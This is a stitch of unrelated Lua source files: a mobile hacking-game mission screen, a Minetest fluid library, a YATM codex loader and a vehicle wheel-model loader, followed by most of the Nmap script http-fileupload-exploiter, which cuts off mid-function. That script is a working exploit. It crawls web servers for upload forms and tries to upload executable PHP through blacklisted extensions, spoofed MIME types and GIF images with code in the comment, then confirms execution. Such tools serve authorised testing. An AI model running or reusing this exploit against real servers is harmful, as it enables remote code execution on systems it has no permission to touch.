"OK_NEW_LVL") then local alert = native.showAlert( "EliteHax", "Congratulations!\nNew Mission Center level reached!", { "Ok" } ) local mc_lvl = t.new_lvl local upgrade_cost = 0 if (mc_lvl == 1) then upgrade_cost = 5000 elseif (mc_lvl == 2) then upgrade_cost = 100000 elseif (mc_lvl == 3) then upgrade_cost = 1000000 elseif (mc_lvl == 4) then upgrade_cost = 10000000 elseif (mc_lvl == 5) then upgrade_cost=0 end myData.moneyTextM.text = format_thousand(t.new_money) myData.missionCenterTxt.text = "Mission Center Lvl "..mc_lvl myData.missionCenterTxt.lvl = mc_lvl local percent=(t.mc_upgrade_lvl/100) myData.mc_progress:setProgress( percent ) myData.missionCenterUpgradeTxt.text = t.mc_upgrade_lvl.."%" myData.upgradeMCButton:setLabel("Upgrade ($"..format_thousand(upgrade_cost)..")") if (mc_lvl == 5) then myData.missionCenterUpgradeTxt.text = "" myData.upgradeMCButton.collectActive=true myData.upgradeMCButton:setLabel("Collect All") end end end end local function upgradeMC(event) if ((upgradeMCClicked == 0) and (event.phase == "ended")) then if (myData.missionCenterTxt.lvl < 5) then upgradeMCClicked = 1 local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body tapSound() network.request( host().."upgradeMC.php", "POST", upgradeMCEventListener, params ) elseif ((myData.upgradeMCButton.collectActive==true) and (collected==0)) then collected=1 local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."collectAllMission.php", "POST", collectAllMissionEventListener, params ) end end end local function sortMission(event) sorting=event.target.next if (event.target.next=="xpA") then event.target.next="xpD" elseif (event.target.next=="xpD") then event.target.next="xpA" elseif (event.target.next=="moneyD") then event.target.next="moneyA" elseif (event.target.next=="moneyA") then event.target.next="moneyD" elseif (event.target.next=="timeA") then event.target.next="timeD" elseif (event.target.next=="timeD") then event.target.next="timeA" elseif (event.target.next=="statusA") then event.target.next="statusD" elseif (event.target.next=="statusD") then event.target.next="statusA" end local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."getMissions.php", "POST", missionEventListener, params ) myData.missionSortM._view._label:setFillColor(tableColor1['default'][1],tableColor1['default'][2],tableColor1['default'][3],1) myData.missionSortD._view._label:setFillColor(tableColor1['default'][1],tableColor1['default'][2],tableColor1['default'][3],1) myData.missionSortX._view._label:setFillColor(tableColor1['default'][1],tableColor1['default'][2],tableColor1['default'][3],1) myData.missionSortS._view._label:setFillColor(tableColor1['default'][1],tableColor1['default'][2],tableColor1['default'][3],1) event.target._view._label._labelColor=tableColor3 end local function hackScenarioRenewListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end if (t.status=="OK") then getHackScenario() end end end local function renewHackScenario(event) if ((event.phase=="ended") and (loaded==true)) then loaded=false local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."renewHackScenario.php", "POST", hackScenarioRenewListener, params ) end end local function updateHackMissionTimer(event) local secondsLeft = myData.missionTimerT.secondsLeft secondsLeft = secondsLeft - 1 if (secondsLeft >0) then myData.missionTimerT.text="Time Left\n\n"..timeText(secondsLeft) myData.missionTimerT.secondsLeft = secondsLeft local percent=1-(secondsLeft/172800) myData.hackMissionProgressView:setProgress( percent ) else myData.missionTimerT.text="Time Left\n\nMission Expired" myData.goToHackButton.alpha=0 myData.renewHackScenarioButton.alpha=1 end end local function hackScenarioOverviewListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end if (t.status=="RENEW") then local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."renewHackScenario.php", "POST", hackScenarioRenewListener, params ) else myData.moneyTextM.text = format_thousand(t.money) local status="Not Completed" if (t.completed==1) then status="Completed" end myData.missionOverviewT.text="Objective:\n\n"..t.desc..".\n\nStatus: "..status.."\n\nReputation Won: "..t.rep local missionSecondsLeft=t["end"] local percent=1-(missionSecondsLeft/172800) myData.hackMissionProgressView:setProgress( percent ) myData.missionTimerT.text="Time Left\n\n"..timeText(missionSecondsLeft) myData.missionTimerT.secondsLeft=missionSecondsLeft if (missionSecondsLeft>0) then myData.renewHackScenarioButton.alpha=0 myData.goToHackButton.alpha=1 else myData.renewHackScenarioButton.alpha=1 myData.goToHackButton.alpha=0 end if (hackMissionCountDownTimer) then timer.cancel(hackMissionCountDownTimer) end hackMissionCountDownTimer = timer.performWithDelay( 1000, updateHackMissionTimer, 10000000 ) end loaded=true end end getHackScenario = function(event) local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."getHackScenarioOverview.php", "POST", hackScenarioOverviewListener, params ) end local function handleTabBarEvent( event ) if (loaded==true) then if (event.target.id == "time") then sbGroup.alpha=0 tbGroup.alpha=1 loaded=false tapSound() tabBarFocus = "time" myData.missionTableView:deleteAllRows() local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."getMissions.php", "POST", missionEventListener, params ) elseif (event.target.id == "skill") then tbGroup.alpha=0 sbGroup.alpha=1 loaded=false tapSound() tabBarFocus = "skill" getHackScenario() end end end local function goToHack(event) if ((event.phase=="ended") and (loaded==true)) then tapSound() if (hackMissionCountDownTimer) then timer.cancel(hackMissionCountDownTimer) end composer.removeScene( "missionScene" ) composer.gotoScene("hackMapScene", {effect = "fade", time = 100}) end end function goBackMission(event) if (tutOverlay==false) then backSound() if (hackMissionCountDownTimer) then timer.cancel(hackMissionCountDownTimer) end composer.removeScene( "missionScene" ) composer.gotoScene("homeScene", {effect = "fade", time = 300}) end end local goBack = function(event) backSound() if (hackMissionCountDownTimer) then timer.cancel(hackMissionCountDownTimer) end composer.removeScene( "missionScene" ) composer.gotoScene("homeScene", {effect = "fade", time = 300}) end --------------------------------------------------------------------------------- --> SCENE EVENTS --------------------------------------------------------------------------------- -- Scene Creation function missionScene:create(event) group = self.view loginInfo = localToken() iconSize=200 upgradeMCClicked = 0 collected = 0 sorting="statusD" loaded=true --TOP myData.top_background = display.newImageRect( "img/top_background.png",display.contentWidth-40, fontSize(100)) myData.top_background.anchorX = 0.5 myData.top_background.anchorY = 0 myData.top_background.x, myData.top_background.y = display.contentWidth/2,5+topPadding() changeImgColor(myData.top_background) --Money myData.moneyTextM = display.newText("",115,myData.top_background.y+myData.top_background.height/2,native.systemFont, fontSize(48)) myData.moneyTextM.anchorX = 0 myData.moneyTextM.anchorY = 0.5 myData.moneyTextM:setFillColor( 0.9,0.9,0.9 ) --Player Name myData.playerTextM = display.newText("",display.contentWidth-250,myData.top_background.y+myData.top_background.height/2,native.systemFont, fontSize(48)) myData.playerTextM.anchorX = 0.5 myData.playerTextM.anchorY = 0.5 myData.playerTextM:setFillColor( 0.9,0.9,0.9 ) local options = { frames = { { x=4, y=0, width=24, height=120 }, { x=32, y=0, width=40, height=120 }, { x=72, y=0, width=40, height=120 }, { x=112, y=0, width=40, height=120 }, { x=152, y=0, width=328, height=120 }, { x=480, y=0, width=328, height=120 } }, sheetContentWidth = 812, sheetContentHeight = 120 } local tabBarSheet = graphics.newImageSheet( tabBarColor, options ) local tabButtons = { { defaultFrame = 5, overFrame = 6, label = "Time-Based", id = "time", selected = true, size = fontSize(50), labelYOffset = -25, labelColor = { default={ 0.9, 0.9, 0.9 }, over={ 0.9, 0.9, 0.9 } }, onPress = handleTabBarEvent }, { defaultFrame = 5, overFrame = 6, label = "Hack-Based", id = "skill", size = fontSize(50), labelYOffset = -25, labelColor = { default={ 0.9, 0.9, 0.9 }, over={ 0.9, 0.9, 0.9 } }, onPress = handleTabBarEvent } } view = "time" myData.missionTabBar = widget.newTabBar( { sheet = tabBarSheet, left = 20, top = 20, width = display.contentWidth-40, height = 120, backgroundFrame = 1, tabSelectedLeftFrame = 2, tabSelectedMiddleFrame = 3, tabSelectedRightFrame = 4, tabSelectedFrameWidth = 120, tabSelectedFrameHeight = 120, buttons = tabButtons } ) myData.missionTabBar.anchorX=0.5 myData.missionTabBar.anchorY=0 myData.missionTabBar.x,myData.missionTabBar.y=display.contentWidth/2,myData.top_background.y+myData.top_background.height -- Beta badge myData.betaImg = display.newImageRect( "img/beta.png", 120, fontSize(90)) myData.betaImg.anchorX = 0.5 myData.betaImg.anchorY = 0 myData.betaImg.x, myData.betaImg.y = display.contentWidth/4*3+95,myData.top_background.y+myData.top_background.height+5 --Time Based Items myData.missions_rect = display.newImageRect( "img/leaderboard_rect.png",display.contentWidth-20, fontSize(1100)) myData.missions_rect.anchorX = 0.5 myData.missions_rect.anchorY = 0 myData.missions_rect.x, myData.missions_rect.y = display.contentWidth/2,myData.top_background.y+myData.top_background.height+10+fontSize(110) changeImgColor(myData.missions_rect) myData.missionSortM = widget.newButton( { left = 40, top = myData.missions_rect.y+fontSize(10), width = 250, height = fontSize(70), defaultFile = buttonColor400, -- overFile = "buttonOver.png", fontSize = fontSize(55), label = "Money", labelColor = tableColor1, onRelease = sortMission }) myData.missionSortM.next="moneyD" myData.missionSortD = widget.newButton( { left = myData.missionSortM.x+myData.missionSortM.width/2, top = myData.missionSortM.y-myData.missionSortM.height/2, width = 250, height = fontSize(70), defaultFile = buttonColor400, -- overFile = "buttonOver.png", fontSize = fontSize(55), label = "Time", labelColor = tableColor1, onRelease = sortMission }) myData.missionSortD.next="timeA" myData.missionSortX = widget.newButton( { left = myData.missionSortD.x+myData.missionSortD.width/2, top = myData.missionSortM.y-myData.missionSortM.height/2, width = 250, height = fontSize(70), defaultFile = buttonColor400, -- overFile = "buttonOver.png", fontSize = fontSize(55), label = "XP", labelColor = tableColor1, onRelease = sortMission }) myData.missionSortX.next="xpD" myData.missionSortS = widget.newButton( { left = myData.missionSortX.x+myData.missionSortX.width/2, top = myData.missionSortM.y-myData.missionSortM.height/2, width = 250, height = fontSize(70), defaultFile = buttonColor400, -- overFile = "buttonOver.png", fontSize = fontSize(55), label = "Status", labelColor = tableColor3, onRelease = sortMission }) myData.missionSortS.next="statusD" -- Create the widget myData.missionTableView = widget.newTableView( { left = 20, top = myData.missionSortM.y+myData.missionSortM.height/2, height = myData.missions_rect.height-fontSize(105), width = display.contentWidth-80, onRowRender = onRowRender, --onRowTouch = onRowTouch, listener = scrollListener, hideBackground = true } ) myData.missionTableView.anchorX=0.5 myData.missionTableView.x=display.contentWidth/2 --Mission Center myData.missionCenterRect = display.newImageRect( "img/missions_mc.png",display.contentWidth-20, fontSize(480)) myData.missionCenterRect.anchorX = 0.5 myData.missionCenterRect.anchorY = 0 myData.missionCenterRect.x, myData.missionCenterRect.y = display.contentWidth/2, myData.missionTableView.y+myData.missionTableView.height/2+fontSize(20) changeImgColor(myData.missionCenterRect) myData.missionCenterTxt = display.newText("Level ",display.contentWidth/2,myData.missionCenterRect.y+fontSize(120),native.systemFont, fontSize(60)) myData.missionCenterTxt.anchorX = 0.5 myData.missionCenterTxt.anchorY = 0 myData.missionCenterTxt:setFillColor( textColor1[1],textColor1[2],textColor1[3] ) local options = { width = 64, height = 64, numFrames = 6, sheetContentWidth = 384, sheetContentHeight = 64 } local progressSheet = graphics.newImageSheet( progressColor, options ) myData.mc_progress = widget.newProgressView( { sheet = progressSheet, fillOuterLeftFrame = 1, fillOuterMiddleFrame = 2, fillOuterRightFrame = 3, fillOuterWidth = 64, fillOuterHeight = 64, fillInnerLeftFrame = 4, fillInnerMiddleFrame = 5, fillInnerRightFrame = 6, fillWidth = 64, fillHeight = 64, left = 50, top = myData.missionCenterTxt.y+myData.missionCenterTxt.height, width = myData.missionCenterRect.width-80, isAnimated = true } ) myData.missionCenterUpgradeTxt = display.newText("",display.contentWidth/2,myData.mc_progress.y+30,native.systemFont, fontSize(58)) myData.missionCenterUpgradeTxt.anchorX = 0.5 myData.missionCenterUpgradeTxt.anchorY = 0 myData.missionCenterUpgradeTxt:setFillColor( textColor1[1],textColor1[2],textColor1[3] ) myData.upgradeMCButton = widget.newButton( { left = 60, top = myData.missionCenterUpgradeTxt.y+myData.missionCenterUpgradeTxt.height, width = display.contentWidth - 120, height = display.actualContentHeight/15-15, defaultFile = buttonColor1080, -- overFile = "buttonOver.png", fontSize = fontSize(60), label = "", labelColor = tableColor1, onEvent = upgradeMC }) myData.upgradeMCButton.collectActive=false --Skill-Based Items myData.sbmRect = display.newImageRect( "img/leaderboard_rect.png",display.contentWidth-20,fontSize(1580) ) myData.sbmRect.anchorX = 0.5 myData.sbmRect.anchorY = 0 myData.sbmRect:translate(display.contentWidth/2,myData.missionTabBar.y+myData.missionTabBar.height/2+fontSize(44)) changeImgColor(myData.sbmRect) local options = { text = "\n\n\n\n\n\n\n\n\n\n", x = myData.sbmRect.x-myData.sbmRect.width/2+40, y = myData.sbmRect.y+fontSize(100), width = myData.sbmRect.width-70, font = native.systemFont, fontSize = fontSize(56), align = "left" } myData.missionOverviewT = display.newText(options) myData.missionOverviewT.anchorX = 0 myData.missionOverviewT.anchorY = 0 local options = { width = 64, height = 64, numFrames = 6, sheetContentWidth = 384, sheetContentHeight = 64 } local progressSheet = graphics.newImageSheet( progressColor, options ) myData.hackMissionProgressView = widget.newProgressView( { sheet = progressSheet, fillOuterLeftFrame = 1, fillOuterMiddleFrame = 2, fillOuterRightFrame = 3, fillOuterWidth = 50, fillOuterHeight = 50, fillInnerLeftFrame = 4, fillInnerMiddleFrame = 5, fillInnerRightFrame = 6, fillWidth = 50, fillHeight = 50, left = myData.sbmRect.x-myData.sbmRect.width/2+40, top = myData.missionOverviewT.y+myData.missionOverviewT.height+fontSize(250), width = myData.sbmRect.width-80, height = fontSize(100), isAnimated = true } ) local options = { text = "", x = myData.sbmRect.x, y = myData.hackMissionProgressView.y, width = myData.sbmRect.width-40, font = native.systemFont, fontSize = fontSize(58), align = "center" } myData.missionTimerT = display.newText(options) myData.missionTimerT.secondsLeft=0 myData.goToHackButton = widget.newButton( { left = display.contentWidth/2, top = myData.hackMissionProgressView.y+myData.hackMissionProgressView.height+fontSize(200), width = 800, height = display.actualContentHeight/15-5, defaultFile = buttonColor1080, -- overFile = "buttonOver.png", fontSize = 80, label = "Go to Mission!", labelColor = tableColor1, onEvent = goToHack }) myData.goToHackButton.anchorX=0.5 myData.goToHackButton.x=display.contentWidth/2 myData.goToHackButton.alpha=0 myData.renewHackScenarioButton = widget.newButton( { left = display.contentWidth/2, top = myData.hackMissionProgressView.y+myData.hackMissionProgressView.height+fontSize(200), width = 800, height = display.actualContentHeight/15-5, defaultFile = buttonColor1080, -- overFile = "buttonOver.png", fontSize = 80, label = "Get a new mission!", labelColor = tableColor1, onEvent = renewHackScenario }) myData.renewHackScenarioButton.anchorX=0.5 myData.renewHackScenarioButton.x=display.contentWidth/2 myData.renewHackScenarioButton.alpha=0 myData.backButton = widget.newButton( { left = 20, top = display.actualContentHeight - (display.actualContentHeight/15)+topPadding(), width = display.contentWidth - 40, height = display.actualContentHeight/15-5, defaultFile = buttonColor1080, -- overFile = "buttonOver.png", fontSize = 80, label = "Back", labelColor = tableColor1, onEvent = goBack }) -- Background myData.background = display.newImage("img/background.jpg") myData.background:scale(4,8) myData.background.alpha = 0.3 changeImgColor(myData.background) -- Show HUD group:insert(myData.background) group:insert(myData.top_background) group:insert(myData.moneyTextM) group:insert(myData.playerTextM) group:insert(myData.missionTabBar) group:insert(myData.betaImg) group:insert(myData.backButton) --Time-Base items tbGroup=display.newGroup() tbGroup:insert(myData.missions_rect) tbGroup:insert(myData.missionSortM) tbGroup:insert(myData.missionSortX) tbGroup:insert(myData.missionSortD) tbGroup:insert(myData.missionSortS) tbGroup:insert(myData.missionTableView) tbGroup:insert(myData.missionCenterRect) tbGroup:insert(myData.missionCenterTxt) tbGroup:insert(myData.mc_progress) tbGroup:insert(myData.missionCenterUpgradeTxt) tbGroup:insert(myData.upgradeMCButton) --Skill-Base items sbGroup=display.newGroup() sbGroup:insert(myData.sbmRect) sbGroup:insert(myData.missionOverviewT) sbGroup:insert(myData.missionTimerT) sbGroup:insert(myData.hackMissionProgressView) sbGroup:insert(myData.goToHackButton) sbGroup:insert(myData.renewHackScenarioButton) sbGroup.alpha=0 group:insert(tbGroup) group:insert(sbGroup) -- Button Listeners myData.backButton:addEventListener("tap",goBack) myData.upgradeMCButton:addEventListener("tap",upgradeMC) myData.goToHackButton:addEventListener("tap",goToHack) end -- Home Show function missionScene:show(event) local taskGroup = self.view if event.phase == "will" then -- Called when the scene is still off screen (but is about to come on screen). local tutCompleted = loadsave.loadTable( "missionTutorialStatus.json" ) if (tutCompleted == nil) or (tutCompleted.tutMission ~= true) then tutOverlay = true local sceneOverlayOptions = { time = 0, effect = "crossFade", params = { }, isModal = true } composer.showOverlay( "missionTutScene", sceneOverlayOptions) else tutOverlay = false end local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."renewMissions.php", "POST", renewMissionsEventListener, params ) network.request( host().."getMissions.php", "POST", missionEventListener, params ) end if event.phase == "did" then -- end end --------------------------------------------------------------------------------- --------------------------------------------------------------------------------- --> Listener setup --------------------------------------------------------------------------------- missionScene:addEventListener( "create", missionScene ) missionScene:addEventListener( "show", missionScene ) --------------------------------------------------------------------------------- return missionScene
-- Universal Fluid API implementation -- Copyright (c) 2018 Evert "Diamond" Prants <evert@lunasqu.ee> local modpath = minetest.get_modpath(minetest.get_current_modname()) fluid_lib = rawget(_G, "fluid_lib") or {} fluid_lib.modpath = modpath fluid_lib.unit = "mB" fluid_lib.unit_description = "milli-bucket" fluid_lib.fluid_name_cache = {} fluid_lib.fluid_description_cache = {} function fluid_lib.cleanse_node_name(node) if fluid_lib.fluid_name_cache[node] then return fluid_lib.fluid_name_cache[node] end local no_mod = node:gsub("^([%w_]+:)", "") local no_source = no_mod:gsub("(_?source_?)", "") fluid_lib.fluid_name_cache[node] = no_source return no_source end function fluid_lib.cleanse_node_description(node) if fluid_lib.fluid_description_cache[node] then return fluid_lib.fluid_description_cache[node] end local ndef = minetest.registered_nodes[node] if not ndef then return nil end -- Remove translation string local desc_no_translation = ndef.description if string.match(desc_no_translation, "^\27") ~= nil then desc_no_translation = desc_no_translation:match("[)]([%w%s]+)\27") end local no_source = desc_no_translation:gsub("(%s?Source%s?)", "") fluid_lib.fluid_description_cache[node] = no_source return no_source end function fluid_lib.comma_value(n) -- credit http://richard.warburton.it local left,num,right = string.match(n,'^([^%d]*%d)(%d*)(.-)$') return left..(num:reverse():gsub('(%d%d%d)','%1,'):reverse())..right end dofile(modpath.."/buffer.lua") dofile(modpath.."/nodeio.lua")
-- -- YATM Codex Entries -- -- Provides CODEX entries for YATM mods -- local mod = foundation.new_module("yatm_codex_entries", "1.0.0") local modules = { -- YATM "yatm_armoury", "yatm_armoury_icbm", "yatm_autotest", "yatm_bees", "yatm_blasts", "yatm_blasts_emp", "yatm_blasts_frost", "yatm_brewery", "yatm_brewery_apple_cider", "yatm_cables", "yatm_cluster_devices", "yatm_cluster_energy", "yatm_clusters", "yatm_cluster_thermal", "yatm_codex", "yatm_core", "yatm_culinary", "yatm_data_card_readers", "yatm_data_console_monitor", "yatm_data_control", "yatm_data_display", "yatm_data_fluid_sensor", "yatm_data_logic", "yatm_data_network", "yatm_data_noteblock", "yatm_data_to_mesecon", "yatm_decor", "yatm_drones", "yatm_dscs", "yatm_energy_storage", "yatm_energy_storage_array", "yatm_fluid_pipes", "yatm_fluid_pipe_valves", "yatm_fluids", "yatm_fluid_teleporters", "yatm_foundry", "yatm_frames", "yatm_item_ducts", "yatm_item_shelves", "yatm_item_storage", "yatm_item_teleporters", "yatm_machines", "yatm_mail", "yatm_mesecon_buttons", "yatm_mesecon_card_readers", "yatm_mesecon_hubs", "yatm_mesecon_locks", "yatm_mesecon_sequencer", "yatm_mining", "yatm_oku", "yatm_overhead_rails", "yatm_papercraft", "yatm_plastics", "yatm_rails", "yatm_reactions", "yatm_reactors", "yatm_refinery", "yatm_security", "yatm_security_api", "yatm_solar_energy", "yatm_spacetime", "yatm_woodcraft", } for _, module_name in ipairs(modules) do if minetest.global_exists(module_name) then mod:require("entries/" .. module_name .. ".lua") print("yatm_codex_entries", "loaded module entries", module_name) else print("yatm_codex_entries", "module unavailable", module_name) end end
local diditload = false local dff,txd function loadBTWheels(load) if load == true then txd = engineLoadTXD("wheels/bt/j2_wheels.txd", 1082 ) engineImportTXD(txd, 1082) dff = engineLoadDFF("wheels/bt/wheel_gn1.dff", 1082 ) engineReplaceModel(dff, 1082) dff = engineLoadDFF("wheels/bt/wheel_gn2.dff", 1085 ) engineReplaceModel(dff, 1085) dff = engineLoadDFF("wheels/bt/wheel_gn3.dff", 1096 ) engineReplaceModel(dff, 1096) dff = engineLoadDFF("wheels/bt/wheel_gn4.dff", 1097 ) engineReplaceModel(dff, 1097) dff = engineLoadDFF("wheels/bt/wheel_gn5.dff", 1098 ) engineReplaceModel(dff, 1098) dff = engineLoadDFF("wheels/bt/wheel_sr1.dff", 1079 ) engineReplaceModel(dff, 1079) dff = engineLoadDFF("wheels/bt/wheel_sr2.dff", 1075 ) engineReplaceModel(dff, 1075) dff = engineLoadDFF("wheels/bt/wheel_sr3.dff", 1074 ) engineReplaceModel(dff, 1074) dff = engineLoadDFF("wheels/bt/wheel_sr4.dff", 1081 ) engineReplaceModel(dff, 1081) dff = engineLoadDFF("wheels/bt/wheel_sr5.dff", 1080 ) engineReplaceModel(dff, 1080) dff = engineLoadDFF("wheels/bt/wheel_sr6.dff", 1073 ) engineReplaceModel(dff, 1073) dff = engineLoadDFF("wheels/bt/wheel_lr1.dff", 1077 ) engineReplaceModel(dff, 1077) dff = engineLoadDFF("wheels/bt/wheel_lr2.dff", 1083 ) engineReplaceModel(dff, 1083) dff = engineLoadDFF("wheels/bt/wheel_lr3.dff", 1078 ) engineReplaceModel(dff, 1078) dff = engineLoadDFF("wheels/bt/wheel_lr4.dff", 1076 ) engineReplaceModel(dff, 1076) dff = engineLoadDFF("wheels/bt/wheel_lr5.dff", 1084 ) engineReplaceModel(dff, 1084) dff = engineLoadDFF("wheels/bt/wheel_or1.dff", 1025 ) engineReplaceModel(dff, 1025) diditload = true elseif load == false and diditload == true then if isElement(txd) then destroyElement(txd) end engineRestoreModel(1082) engineRestoreModel(1085) engineRestoreModel(1096) engineRestoreModel(1097) engineRestoreModel(1098) engineRestoreModel(1079) engineRestoreModel(1075) engineRestoreModel(1074) engineRestoreModel(1081) engineRestoreModel(1080) engineRestoreModel(1073) engineRestoreModel(1077) engineRestoreModel(1083) engineRestoreModel(1078) engineRestoreModel(1076) engineRestoreModel(1084) engineRestoreModel(1025) -- outputDebugString("Chrome Wheels unloaded") triggerEvent("onBtWheelsUnload", getResourceRootElement()) diditload = false end end
description = [[ Exploits insecure file upload forms in web applications using various techniques like changing the Content-type header or creating valid image files containing the payload in the comment. ]] --- -- @usage nmap -p80 --script http-fileupload-exploiter.nse <target> -- -- This script discovers the upload form on the target's page and -- attempts to exploit it using 3 different methods: -- -- 1) At first, it tries to upload payloads with different insecure -- extensions. This will work against a weak blacklist used by a file -- name extension verifier. -- -- 2) If (1) doesn't work, it will try to upload the same payloads -- this time with different Content-type headers, like "image/gif" -- instead of the "text/plain". This will trick any mechanisms that -- check the MIME type. -- -- 3) If (2), doesn't work, it will create some proper GIF images -- that contain the payloads in the comment. The interpreter will -- see the executable inside some binary garbage. This will bypass -- any check of the actual content of the uploaded file. -- -- TODO: -- * Use the vulns library to report. -- -- @args http-fileupload-exploiter.formpaths The pages that contain -- the forms to exploit. For example, {/upload.php, /login.php}. -- Default: nil (crawler mode on) -- @args http-fileupload-exploiter.uploadspaths Directories with -- the uploaded files. For example, {/avatars, /photos}. Default: -- {'/uploads', '/upload', '/file', '/files', '/downloads'} -- @args http-fileupload-exploiter.fieldvalues The script will try to -- fill every field found in the upload form but that may fail -- due to fields' restrictions. You can manually fill those -- fields using this table. For example, {gender = "male", email -- = "foo@bar.com"}. Default: {} -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | Testing page /post.html -- | -- | Succesfully uploaded and executed payloads: -- | Filename: 1.php, MIME: text/plain -- |_ Filename: 1.php3, MIME: text/plain --- categories = {"intrusive", "exploit", "vuln"} author = "George Chatzisofroniou" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" local http = require "http" local string = require "string" local httpspider = require "httpspider" local shortport = require "shortport" local stdnse = require "stdnse" local table = require "table" portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open") -- A list of payloads. The interpreted code in the 'content' variable should -- output the result in the 'check' variable. -- -- You can manually add / remove your own payloads but make sure you -- don't mess up, otherwise the script may succeed when it actually -- hasn't. -- -- Note, that more payloads will slow down your scan significaly. payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, { filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, -- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, -- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, -- { filename = "1.py", content = "print 123456 + 654321", check = "777777" }, -- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" }, -- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" }, -- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" }, -- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" }, } listofrequests = {} -- Escape for jsp and asp payloads. local escape = function(s) return (s:gsub('%%', '%%%%')) end -- Represents an upload-request. local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check) local request = { host = host; port = port; submission = submission; mime = mime; name = name; filename = filename; partofrequest = partofrequest; payload = payload; check = check; uploadedpaths = {}; success = 0; make = function(self) options = { header={} } options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x" options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--' stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content'])) local response = http.post(self.host, self.port, self.submission, options, { no_cache = true }) return response.body end; checkPayload = function(self, uploadspaths) for _, uploadpath in ipairs(uploadspaths) do response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } ) if response.status ~= 404 then if (response.body:match(self.check)) then self.success = 1 table.insert(self.uploadedpaths, uploadpath) end end end end; } table.insert(listofrequests, request) return request end -- Create customized requests for all of our payloads. local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image) for i, p in ipairs(payloads) do if image then p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true) end UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check']) end end -- Make the requests that we previously created with buildRequests() -- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array. local makeAndCheckRequests = function(uploadspaths) local exit = 0 local output = {"Succesfully uploaded and executed payloads: "} for i=1, #listofrequests, 1 do listofrequests[i]:make() listofrequests[i]:checkPayload(uploadspaths) if (listofrequests[i].success == 1) then exit = 1 table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ") for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename) end end end if exit == 1 then return output end listofrequests = {} end local prepareRequest = function(fields, fieldvalues) local filefield = 0 local req = "" local value for _, field in ipairs(fields) do if field["type"] == "file" then filefield = field elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then if fieldvalues[field["name"]] ~= nil then value = fieldvalues[field["name"]] else value = "SampleData0" end req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n' end end return req, filefield end action = function(host, port) local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths") local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'} local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {} local returntable = {} local result local foundform = 0 local foundfield = 0 local fail = 0 local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } ) if (not(crawler)) then return end crawler:set_timeout(10000) local index, k, target, response while (true) do if formpaths then k, target = next(formpaths, index) if (k == nil) then break end response = http.get(host, port, target) else local status, r = crawler:crawl() -- if the crawler fails it can be due to a number of different reasons -- most of them are "legitimate" and should not be reason to abort if ( not(status) ) then if ( r.err ) then return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) else break end end target = tostring(r.url) response = r.response end if response.body then local forms = http.grab_forms(response.body) for i, form in ipairs(forms) do form = http.parse_form(form) if form then local action_absolute = string.find(form["action"], "https*://") -- Determine the path where the form needs to be submitted. if action_absolute then submission = form["action"] else local path_cropped = string.match(target, "(.*/).*") path_cropped = path_cropped and path_cropped or "" submission = path_cropped..form["action"] end foundform = 1 partofrequest, filefield = prepareRequest(form["fields"], fieldvalues) if filefield ~= 0 then foundfield = 1 -- Method (1). buildRequests(host, port, submission, 